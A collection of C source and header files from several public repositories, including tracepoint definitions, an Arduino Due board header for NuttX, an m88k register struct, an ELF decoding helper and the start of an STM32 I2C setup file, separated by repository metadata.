// arg3 = arg3 = sizeof(QUIC_REGISTRATION) + AppNameLength + 1 = arg3
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, AllocFailure,
TP_ARGS(
const char *, arg2,
unsigned long long, arg3),
TP_FIELDS(
ctf_string(arg2, arg2)
ctf_integer(uint64_t, arg3, arg3)
)
)
/*----------------------------------------------------------
// Decoder Ring for RegistrationCreatedV2
// [ reg][%p] Created, AppName=%s, ExecProfile=%u
// QuicTraceEvent(
RegistrationCreatedV2,
"[ reg][%p] Created, AppName=%s, ExecProfile=%u",
Registration,
Registration->AppName,
Registration->ExecProfile);
// arg2 = arg2 = Registration = arg2
// arg3 = arg3 = Registration->AppName = arg3
// arg4 = arg4 = Registration->ExecProfile = arg4
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, RegistrationCreatedV2,
TP_ARGS(
const void *, arg2,
const char *, arg3,
unsigned int, arg4),
TP_FIELDS(
ctf_integer_hex(uint64_t, arg2, arg2)
ctf_string(arg3, arg3)
ctf_integer(unsigned int, arg4, arg4)
)
)
/*----------------------------------------------------------
// Decoder Ring for ApiExitStatus
// [ api] Exit %u
// QuicTraceEvent(
ApiExitStatus,
"[ api] Exit %u",
Status);
// arg2 = arg2 = Status = arg2
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, ApiExitStatus,
TP_ARGS(
unsigned int, arg2),
TP_FIELDS(
ctf_integer(unsigned int, arg2, arg2)
)
)
/*----------------------------------------------------------
// Decoder Ring for RegistrationCleanup
// [ reg][%p] Cleaning up
// QuicTraceEvent(
RegistrationCleanup,
"[ reg][%p] Cleaning up",
Registration);
// arg2 = arg2 = Registration = arg2
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, RegistrationCleanup,
TP_ARGS(
const void *, arg2),
TP_FIELDS(
ctf_integer_hex(uint64_t, arg2, arg2)
)
)
/*----------------------------------------------------------
// Decoder Ring for ApiExit
// [ api] Exit
// QuicTraceEvent(
ApiExit,
"[ api] Exit");
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, ApiExit,
TP_ARGS(
),
TP_FIELDS(
)
)
/*----------------------------------------------------------
// Decoder Ring for RegistrationRundownV2
// [ reg][%p] Rundown, AppName=%s, ExecProfile=%u
// QuicTraceEvent(
RegistrationRundownV2,
"[ reg][%p] Rundown, AppName=%s, ExecProfile=%u",
Registration,
Registration->AppName,
Registration->ExecProfile);
// arg2 = arg2 = Registration = arg2
// arg3 = arg3 = Registration->AppName = arg3
// arg4 = arg4 = Registration->ExecProfile = arg4
----------------------------------------------------------*/
TRACEPOINT_EVENT(CLOG_REGISTRATION_C, RegistrationRundownV2,
TP_ARGS(
const void *, arg2,
const char *, arg3,
unsigned int, arg4),
TP_FIELDS(
ctf_integer_hex(uint64_t, arg2, arg2)
ctf_string(arg3, arg3)
ctf_integer(unsigned int, arg4, arg4)
)
)
|
db26192ec7dd224b4aada1c59db89ac5eadac832
|
aa3befea459382dc5c01c925653d54f435b3fb0f
|
/boards/arm/sam34/arduino-due/src/arduino-due.h
|
a6d1543687e66475a05cfa9ff2a44a04a4cd309b
|
[
"MIT-open-group",
"BSD-3-Clause",
"HPND-sell-variant",
"BSD-4-Clause-UC",
"LicenseRef-scancode-warranty-disclaimer",
"MIT-0",
"LicenseRef-scancode-bsd-atmel",
"LicenseRef-scancode-gary-s-brown",
"LicenseRef-scancode-proprietary-license",
"SunPro",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"LicenseRef-scancode-other-permissive",
"HPND",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"GPL-1.0-or-later",
"CC-BY-2.0",
"CC-BY-4.0"
] |
permissive
|
apache/nuttx
|
14519a7bff4a87935d94fb8fb2b19edb501c7cec
|
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
|
refs/heads/master
| 2023-08-25T06:55:45.822534
| 2023-08-23T16:03:31
| 2023-08-24T21:25:47
| 228,103,273
| 407
| 241
|
Apache-2.0
| 2023-09-14T18:26:05
| 2019-12-14T23:27:55
|
C
|
UTF-8
|
C
| false
| false
| 16,809
|
h
|
arduino-due.h
|
/****************************************************************************
* boards/arm/sam34/arduino-due/src/arduino-due.h
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
#ifndef __BOARDS_ARM_SAM34_ARDUINO_DUE_SRC_ARDUNO_DUE_H
#define __BOARDS_ARM_SAM34_ARDUINO_DUE_SRC_ARDUNO_DUE_H
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <nuttx/compiler.h>
#include <stdint.h>
#include <arch/irq.h>
#include <nuttx/irq.h>
#include "hardware/sam_pinmap.h"
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
/* There are three user-controllable LEDs on board the Arduino Due board:
*
* LED GPIO
* ---------------- -----
* L Amber LED PB27
* TX Yellow LED PA21
* RX Yellow LED PC30
*
* LED L is connected to ground and can be illuminated by driving the PB27
* output high. The TX and RX LEDs are pulled high and can be illuminated by
* driving the corresponding
* GPIO output to low.
*
* These LEDs are not used by the board port unless CONFIG_ARCH_LEDS is
* defined. In that case, the usage by the board port is defined in
* include/board.h and src/sam_leds.c. The LEDs are used to encode OS-related
* events as follows:
*
* SYMBOL MEANING LED STATE
* L TX RX
* ------------------- ----------------------- -------- -------- --------
* LED_STARTED NuttX has been started OFF OFF OFF
* LED_HEAPALLOCATE Heap has been allocated OFF OFF OFF
* LED_IRQSENABLED Interrupts enabled OFF OFF OFF
* LED_STACKCREATED Idle stack created ON OFF OFF
* LED_INIRQ In an interrupt N/C GLOW OFF
* LED_SIGNAL In a signal handler N/C GLOW OFF
* LED_ASSERTION An assertion failed N/C GLOW OFF
* LED_PANIC The system has crashed N/C N/C Blinking
* LED_IDLE MCU is is sleep mode ------ Not used --------
*
* Thus if LED L is statically on, NuttX has successfully booted and is,
* apparently, running normmally. If LED RX is glowing, then NuttX is
* handling interrupts (and also signals and assertions). If TX is flashing
* at approximately 2Hz, then a fatal error has been detected and the system
*/
#define GPIO_LED_L (GPIO_OUTPUT | GPIO_CFG_PULLUP | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOB | GPIO_PIN27)
#define GPIO_LED_RX (GPIO_OUTPUT | GPIO_CFG_PULLUP | GPIO_OUTPUT_SET | \
GPIO_PORT_PIOC | GPIO_PIN30)
#define GPIO_LED_TX (GPIO_OUTPUT | GPIO_CFG_PULLUP | GPIO_OUTPUT_SET | \
GPIO_PORT_PIOA | GPIO_PIN21)
/* ITEAD 2.4" TFT with Touch
*
* The Arduino 2.4" TFT Touch Shield is designed for all the Arduino
* compatible boards. It works in 3.3V voltage level. It can be directly
* plugged on the Arduino and other compatible boards. It will offer
* display, touch and storage functions for the Arduino board
*
* Features:
*
* 1. Compatible with 3.3/5V operation voltage level
* 2. Compatible with UTFT library
* 3. With SD Card Socket
*
* The Arduino 2.4" TFT Touch shield uses the S6D1121 controller , it
* supports 8-bit data interface. The touch IC is TSC2046.
*
* --------- ------------------- ------- ------------------------- -----
* Arduino ATSAM3X Due ITHEAD
* Due PIN GPIO FUNCTION SIGNA PIN SIGNAL NOTES
* --------- ---- ------------ ------- ---------------- ---------- -----
* PWMH
* 10 SCL1 PA18 TWCK0/A20/
* WKUP9 SCL1 --- --- --- SCL N/A
* 9 SDA1 PA17 TWD0SPCK0 SDA1 --- --- --- SDA N/A
* 8 Aref --- --- AREF J2 pin 8 Vref N/C ---
* 7 GND --- --- GND J2 pin 7 GND --- ---
* 6 PWM13 PB27 SPI0_SPCK/
* A20/WKUP10 PWM13 J2 pin 6 D13 SD_SCK SCK,
* also LED "L",
* Pulled low
* 5 PWM12 PD8 A21/
* NANDALE/
* TIOB8 PWM12 J2 pin 5 D12 SD_MISO MISO N/A
* 4 PWM11 PD7 A17/BA1/
* TIOA8 PWM11 J2 pin 4 D11 SD_MOSI MOSI N/A,
* Pulled low
* 3 PWM10 PA28 SPI0_NPCS0/
* PCK2/
* WKUP11 SS0/PWM10 J2 pin 3 D10 SD_CS Pulled low
* on-board
* 2 PWM9 PC21 A0/NBS0/
* PWML4 PWM9 J2 pin 2 D9 Touch_Dout ---
* 1 PWM8 PC22 A1/PWML5 PWM8 J2 pin 1 D8 Touch_IRQ ---
*
* PWML
* 8 PWM7 PC23 A2/PWML6 PWM7 J3 pin 8 D7 DB15 ---
* 7 PWM6 PC24 A3/PWML7 PWM6 J3 pin 7 D6 DB14 ---
* 6 PWM5 PC25 A4/TIOA6 PWM5 J3 pin 6 D5 DB13 ---
* 5 PWM4 PC26 A5/TIOB6 SS1/PWM4 J3 pin 5 D4 DB12 ---
* 4 PWM3 PC28 A7/TIOA7 PWM3 J3 pin 4 D3 DB11 ---
* 3 PWM2 PB25 RTS0/
* TIOA0 PWM2 J3 pin 3 D2 DB10 ---
* 2 PWM1 PA9 UTXD/
* PWMH3 TX J3 pin 2 D1 DB9 UART0 TX
* 1 PWM0 PA8 URXD/
* PWMH0/
* WKUP4 RX J3 pin 1 D0 DB8 UART0 RX
* ---------- ---- --------------- ----------- ---------------- --------- ---
* POWER
* 1 --- --- --- --- --- --- --- ---
* 2 IOref --- --- IOREF +3V3 --- --- --- ---
* 3 RESET --- --- MASTER_RESET J4 pin 1 RST --- ---
* 5 5V --- --- +5V J4 pin 2 3.3V --- ---
* 4 3.3V --- --- +3V3 J4 pin 3 5V --- ---
* 6 GND --- --- GND J4 pin 4 GND --- ---
* 7 GND --- --- GND J4 pin 5 GND --- ---
* 8 Vin --- --- VIN J4 pin 6 Vin --- ---
* ADCL
* 1 A0 PA16 SPCK1/
* TD/AD7 AD0 J1 pin 1 A0/D14 Touch_Din ---
* 2 A1 PA24 MCDA3/
* PCK1/AD6 AD1 J1 pin 1 A1/D15 Touch_CLK ---
* 3 A2 PA23 MCDA2/
* TCLK4/AD5 AD2 J1 pin 1 A2/D16 --- ---
* 4 A3 PA22 MCDA1/
* TCLK3/AD4 AD3 J1 pin 1 A3/D17 TFT_CS ---
* 5 A4 PA6 TIOB2/
* NCS0/AD3 AD4 J1 pin 1 A4/D18 TFT_WR ---
* 6 A5 PA4 TCLK1/
* NWAIT/AD2 AD5 J1 pin 1 A5/D19 TFT_RS ---
* 7 A6 PA3 TIOB1/
* PWMFI1/
* AD1/WKUP1 AD6 --- --- --- ---
* 8 A7 PA2 TIOA1/
* NANDRDY/
* AD0 AD7 --- --- --- ---
* ---------- ---- ---------- ----------- -------------------- ---------- ---
*
* NOTES:
*
* 1. It is not possible to use any of the SPI devices on the Shield unless
* a bit-bang SPI interface is used. This includes the touch controller
* and the SD card.
* 2. UART0 cannot be used. USARTs on the COMM connector should be
* available.
* 3. Parallel data is not contiguous in the PIO register
* 4. Touch controller /CS pin is connected to ground (always selected).
* 5. Either PA28 or PC29 may drive PWM10
*/
#ifdef CONFIG_ARDUINO_ITHEAD_TFT
/* In order to use the SD card on the ITEAD shield, you must enable the
* SPI bit-bang driver as well as support for SPI-based MMC/SD cards.
*/
# if defined(CONFIG_SPI_BITBANG) && defined(CONFIG_MMCSD_SPI)
/* SD Interface:
*
* ------------ ------------------ -------
* SD CONNECTOR ARDUINO CONNECTORS AT91SAM
* PIN SIGNAL PIN SIGNAL GPIO
* --- -------- -------- --------- --------
* 1 /CS J2 pin 3 D10 PA28
* 2 DI J2 pin 4 D11 PD7
* 3 GND --- --- ---
* 4 VCC --- --- ---
* 5 CLK J2 pin 6 D13 PB27
* 6 GND --- --- ---
* 7 DO J2 pin 5 D12 PD8
* 8 IRQ N/C --- ---
* 9 N/C --- --- ---
* 10 SW N/C --- ---
* 11 WP N/C --- ---
* 12 CD N/C --- ---
* 13 CD N/C --- ---
* 14 GND --- --- ---
* 15 GND --- --- ---
* 16 GND --- --- ---
* --- -------- -------- --------- --------
*
* NOTES:
* - The SD slot shares the pin with LED "L" so LED support must be disabled
* to use the MMC/SD card on the ITEAD shield.
* - Either PA28 or PC29 may drive D10
*/
# ifdef CONFIG_ARCH_LEDs
# error LEDs may not be used with the ITEAD SD card
# endif
# define GPIO_SD_SCK (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOB | GPIO_PIN27)
# define GPIO_SD_MISO (GPIO_INPUT | GPIO_CFG_PULLUP | GPIO_PORT_PIOD | \
GPIO_PIN8)
# define GPIO_SD_MOSI (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOD | GPIO_PIN7)
# define GPIO_SD_CS (GPIO_OUTPUT | GPIO_CFG_PULLUP | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN28)
# endif
/* In order to use the touchscreen on the ITEAD shield, you must enable the
* SPI bit-bang driver and ADS7843E/XPT2046 device support.
*/
# if defined(CONFIG_SPI_BITBANG) && defined(CONFIG_INPUT_ADS7843E)
/* Touch Controller Interface:
*
* ----------- ------------------ --------
* XPT2046 ARDUINO CONNECTORS AT91SAM
* PIN SIGNAL PIN SIGNAL GPIO
* --- ------- -------- --------- --------
* 1 VCC --- --- ---
* 2 X+ --- --- ---
* 3 Y+ --- --- ---
* 4 X- --- --- ---
* 5 Y- --- --- ---
* 6 GND --- --- ---
* 7 IN3 N/C --- ---
* 8 IN4 N/C --- ---
* 9 VREF --- --- ---
* 10 VCC --- --- ---
* 11 IRQ J2 pin 2 D9 PC21
* 12 DOUT J2 pin 1 D8 PC22
* 13 BUSY N/C --- ---
* 14 DIN J1 pin 1 A0/D14 PA16
* 15 /C S --- --- ---
* 16 DCLK J1 pin 2 A1/D15 PA24
* --- ------- -------- --------- --------
*
* NOTE: /CS is connected to ground (XPT2046 is always selected)
*/
# define GPIO_TSC_SCK (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN24)
# define GPIO_TSC_MISO (GPIO_INPUT | GPIO_CFG_PULLUP | GPIO_PORT_PIOC | \
GPIO_PIN22)
# define GPIO_TSC_MOSI (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN16)
# define GPIO_TSC_IRQ (GPIO_INPUT | GPIO_CFG_PULLUP | GPIO_INT_BOTHEDGES | \
GPIO_PORT_PIOC | GPIO_PIN21)
# define SAM_TSC_IRQ SAM_IRQ_PC21
# endif
/* Only CONFIG_LCD is expected to enable the TFT LCD */
# ifdef CONFIG_LCD
/* UART0 cannot be used with the LCD because the UART0 pins are used
* by the LCD.
*/
# ifdef CONFIG_SAM34_UART0
# error "UART0 cannot be used with the ITEAD LCD"
# endif
/* Data pins are initially configured but may be switched dynamically to
* either inputs or outputs as needed.
*/
# define GPIO_LCD_D0IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN8)
# define GPIO_LCD_D1IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN9)
# define GPIO_LCD_D2IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOB | GPIO_PIN25)
# define GPIO_LCD_D3IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN28)
# define GPIO_LCD_D4IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN26)
# define GPIO_LCD_D5IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN25)
# define GPIO_LCD_D6IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN24)
# define GPIO_LCD_D7IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN23)
# define GPIO_LCD_D7IN (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOC | GPIO_PIN23)
# define GPIO_LCD_CS (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN22)
# define GPIO_LCD_WR (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN6)
# define GPIO_LCD_RS (GPIO_OUTPUT | GPIO_CFG_DEFAULT | GPIO_OUTPUT_CLEAR | \
GPIO_PORT_PIOA | GPIO_PIN4)
# endif
#endif
/****************************************************************************
* Public Types
****************************************************************************/
/****************************************************************************
* Public Data
****************************************************************************/
#ifndef __ASSEMBLY__
/****************************************************************************
* Public Functions Definitions
****************************************************************************/
/****************************************************************************
* Name: sam_bringup
*
* Description:
* Perform architecture-specific initialization
*
* CONFIG_BOARD_LATE_INITIALIZE=y :
* Called from board_late_initialize().
*
* CONFIG_BOARD_LATE_INITIALIZE=y && CONFIG_BOARDCTL=y :
* Called from the NSH library
*
****************************************************************************/
int sam_bringup(void);
/****************************************************************************
* Name: sam_sdinitialize
*
* Description:
* Initialize the SPI-based SD card.
*
****************************************************************************/
#if defined(CONFIG_ARDUINO_ITHEAD_TFT) && defined(CONFIG_SPI_BITBANG) && \
defined(CONFIG_MMCSD_SPI)
int sam_sdinitialize(int minor);
#endif
/****************************************************************************
* Name: sam_tsc_setup
*
* Description:
* This function is called by board-bringup logic to configure the
* touchscreen device.
* This function will register the driver as /dev/inputN where N is the
* minor device number.
*
* Input Parameters:
* minor - The input device minor number
*
* Returned Value:
* Zero is returned on success.
* Otherwise, a negated errno value is returned to indicate the nature
* of the failure.
*
****************************************************************************/
#if defined(CONFIG_ARDUINO_ITHEAD_TFT) && defined(CONFIG_SPI_BITBANG) && \
defined(CONFIG_INPUT_ADS7843E)
int sam_tsc_setup(int minor);
#endif
#endif /* __ASSEMBLY__ */
#endif /* __BOARDS_ARM_SAM34_ARDUINO_DUE_SRC_ARDUNO_DUE_H */
|
1c356bbe26da5ee7ec29a27226aa5e8d16df6d18
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/sys/arch/m88k/include/reg.h
|
8416c6a6b1a433572106e3bb3f53daf16d8b155c
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 2,784
|
h
|
reg.h
|
/* $OpenBSD: reg.h,v 1.3 2013/07/17 19:19:30 miod Exp $ */
/*
* Copyright (c) 1999 Steve Murphree, Jr.
* Copyright (c) 1996 Nivas Madhur
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Nivas Madhur.
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _M88K_REG_H_
#define _M88K_REG_H_
struct reg {
unsigned long r[32];
unsigned long epsr;
unsigned long fpsr;
unsigned long fpcr;
unsigned long sxip;
#define exip sxip /* mc88110 */
unsigned long snip;
#define enip snip /* mc88110 */
unsigned long sfip;
unsigned long ssbr;
#define duap ssbr /* mc88110 */
unsigned long dmt0;
#define dsr dmt0 /* mc88110 */
unsigned long dmd0;
#define dlar dmd0 /* mc88110 */
unsigned long dma0;
#define dpar dma0 /* mc88110 */
unsigned long dmt1;
#define isr dmt1 /* mc88110 */
unsigned long dmd1;
#define ilar dmd1 /* mc88110 */
unsigned long dma1;
#define ipar dma1 /* mc88110 */
unsigned long dmt2;
#define isap dmt2 /* mc88110 */
unsigned long dmd2;
#define dsap dmd2 /* mc88110 */
unsigned long dma2;
#define iuap dma2 /* mc88110 */
unsigned long fpecr;
unsigned long fphs1;
unsigned long fpls1;
unsigned long fphs2;
unsigned long fpls2;
unsigned long fppt;
unsigned long fprh;
unsigned long fprl;
unsigned long fpit;
};
#endif /* _M88K_REG_H_ */
|
4d6a6e4083fd0b2830e3b3222ddc6609d9ee84c1
|
1994b15441624ad5b7f484f007083986cd846b13
|
/shared/common/api.h
|
e1464ef13ef786309d83e1ed947ecf79b6a3c5fc
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
porres/pd-cyclone
|
7e7912d5d1a7ebe00e29a643c17ebcb6f50b3747
|
dfb7b8ad4dddde3ff3320d8d32baefbebdff3cf9
|
refs/heads/master
| 2023-09-03T20:28:51.715146
| 2023-08-30T00:03:45
| 2023-08-30T00:03:45
| 51,787,562
| 186
| 26
|
BSD-3-Clause
| 2023-08-30T00:03:46
| 2016-02-15T21:38:34
|
C
|
UTF-8
|
C
| false
| false
| 1,156
|
h
|
api.h
|
/* Copyright (c) 2018 Diego Barrios Romero.
* For information on usage and redistribution, and for a DISCLAIMER OF ALL
* WARRANTIES, see the file, "LICENSE.txt," in this distribution. */
/* API symbol definitions.
* Symbols that are part of the library interface need to be exported
* so that these can be found by the loaders.
* i.e. *_setup functions need to be exported so that pure-data finds them
* at load time.
*/
#ifndef __CYCLONE_API_H__
#define __CYCLONE_API_H__
// For use in the cyclone main library
#if defined(_MSC_VER)
// Export the symbol to the DLL interface
# define CYCLONE_API __declspec(dllexport)
#else
// On UNIX set this to visibility default if you change the default symbol
// visibility to hidden.
# define CYCLONE_API
#endif
// For use on cyclone objects
#if defined(_MSC_VER) && !defined(CYCLONE_SINGLE_LIBRARY)
// Export the symbol to the DLL interface
# define CYCLONE_OBJ_API __declspec(dllexport)
#else
// On UNIX set this to visibility default if you change the default symbol
// visibility to hidden and you are not building a single library.
# define CYCLONE_OBJ_API
#endif
#endif // __CYCLONE_API_H__
|
760d3e1b26ae3b75b9622bcaded6cf00f1c3e3ea
|
89ac799bd004042f913c9205abd22feaf847f5be
|
/src/Takabe/goggleir.h
|
8df5ff4ccb367a1dc09935fbb922723d551ef531
|
[] |
no_license
|
FoxdieTeam/mgs_reversing
|
de0b501e9a6318bf817e0d0f03af34c836a2f0b6
|
d057e3eb8bebeb645ca23db6ce690577268f59d5
|
refs/heads/master
| 2023-07-21T02:31:57.827478
| 2023-07-17T10:50:39
| 2023-07-17T10:50:39
| 223,033,157
| 270
| 35
| null | 2023-09-14T21:49:31
| 2019-11-20T21:44:13
|
C
|
UTF-8
|
C
| false
| false
| 862
|
h
|
goggleir.h
|
#ifndef _GOGGLEIR_H
#define _GOGGLEIR_H
#include "libgv/libgv.h"
#include "Game/game.h"
#include "Game/control.h"
// thermal goggles (screen effect)
typedef struct Actor_GoggleIr
{
GV_ACT field_0_actor;
OBJECT field_20_obj;
CONTROL *field_44_pCtrl;
OBJECT *field_48_pParent;
int field_4C_head_hidden;
int field_50;
GV_ACT *field_54_pScn_mask;
GV_ACT *field_58_pGglmng;
int field_5C;
int field_60;
GV_ACT *field_64_pGglmng;
short field_68_savedNPacks;
short field_6A_saved_raise;
} Actor_GoggleIr;
STATIC_ASSERT_SIZE(Actor_GoggleIr, 0x6C);
GV_ACT *gglmng_init_800779B8(int type);
ushort goggleir_pal_convert_800789E0(ushort value);
GV_ACT * NewGoggleIr_80078E6C(CONTROL *pCtrl, OBJECT *parent_obj, int unused);
#endif // _GOGGLEIR_H
|
6911e754b63c6262793ecf61da74dc2807eb5208
|
c965bd744c569e88aa481a575df54b86037cc3eb
|
/src/elf-defs.c
|
8076635f7700f5e2182acea1dafa8af2913c788d
|
[
"MIT"
] |
permissive
|
vitasdk/vita-toolchain
|
ea4f05cfada13a12fa7da34ad427b67c4bc7fd86
|
bbb2c95d41cd4037df86529217387979745426b6
|
refs/heads/master
| 2023-08-03T06:22:26.278222
| 2023-07-25T08:21:32
| 2023-07-26T01:32:28
| 37,880,294
| 274
| 215
|
MIT
| 2023-07-26T01:32:30
| 2015-06-22T20:58:34
|
C
|
UTF-8
|
C
| false
| false
| 1,474
|
c
|
elf-defs.c
|
#include <libelf.h>
#include "elf-defs.h"
const char *elf_decode_e_type(int e_type)
{
return "(unknown)";
}
const char *elf_decode_sh_type(int sh_type)
{
return "(unknown)";
}
const char *elf_decode_p_type(int p_type)
{
return "(unknown)";
}
const char *elf_decode_st_bind(int st_bind)
{
switch (st_bind) {
#define STB(name) case STB_##name: return #name
STB(LOCAL);
STB(GLOBAL);
STB(WEAK);
STB(NUM);
#undef STB
}
if (st_bind >= STB_LOOS && st_bind <= STB_HIOS)
return "(OS-specific)";
if (st_bind >= STB_LOPROC && st_bind <= STB_HIPROC)
return "(Processor-specific)";
return "(unknown)";
}
const char *elf_decode_st_type(int st_type)
{
switch (st_type) {
#define STT(name) case STT_##name: return #name
STT(NOTYPE);
STT(OBJECT);
STT(FUNC);
STT(SECTION);
STT(FILE);
STT(COMMON);
STT(TLS);
STT(NUM);
#undef STT
}
if (st_type >= STT_LOOS && st_type <= STT_HIOS)
return "(OS-specific)";
if (st_type >= STT_LOPROC && st_type <= STT_HIPROC)
return "(Processor-specific)";
return "(unknown)";
}
const char *elf_decode_r_type(int r_type)
{
switch(r_type) {
#define R_ARM(type) case R_ARM_##type: return "R_ARM_" #type
R_ARM(NONE);
R_ARM(V4BX);
R_ARM(ABS32);
R_ARM(REL32);
R_ARM(THM_CALL);
R_ARM(CALL);
R_ARM(JUMP24);
R_ARM(TARGET1);
R_ARM(TARGET2);
R_ARM(PREL31);
R_ARM(MOVW_ABS_NC);
R_ARM(MOVT_ABS);
R_ARM(THM_MOVW_ABS_NC);
R_ARM(THM_MOVT_ABS);
#undef R_ARM
}
return "<<INVALID RELOCATION>>";
}
|
d447952e66e2b9ff57d1e872721900ba823af0f4
|
41c7328eadeab5ed7c0584b7db51996a05dd9f2d
|
/F0:F030,F042,F072/F0_testbrd/i2c.c
|
bd08689db4e856b8ea46a56b2c748458ad77f1a6
|
[] |
no_license
|
eddyem/stm32samples
|
1c00ccb8593ea270cae536c85f178a522f704ed5
|
dce73d358b1fca3e7fa397f5c6d0d5c1cb28aba0
|
refs/heads/master
| 2023-07-28T11:13:10.361942
| 2023-07-24T20:04:22
| 2023-07-24T20:04:22
| 32,647,425
| 152
| 42
| null | null | null | null |
UTF-8
|
C
| false
| false
| 6,324
|
c
|
i2c.c
|
/*
* geany_encoding=koi8-r
* i2c.c
*
* Copyright 2017 Edward V. Emelianov <eddy@sao.ru, edward.emelianoff@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*/
#include "hardware.h"
#include "i2c.h"
#include "proto.h"
#include "usb.h"
I2C_SPEED curI2Cspeed = LOW_SPEED;
extern volatile uint32_t Tms;
static uint32_t cntr;
volatile uint8_t I2C_scan_mode = 0; // == 1 when I2C is in scan mode
static uint8_t i2caddr = I2C_ADDREND; // not active
void i2c_setup(I2C_SPEED speed){
if(speed >= CURRENT_SPEED){
speed = curI2Cspeed;
}else{
curI2Cspeed = speed;
}
I2C1->CR1 = 0;
/*
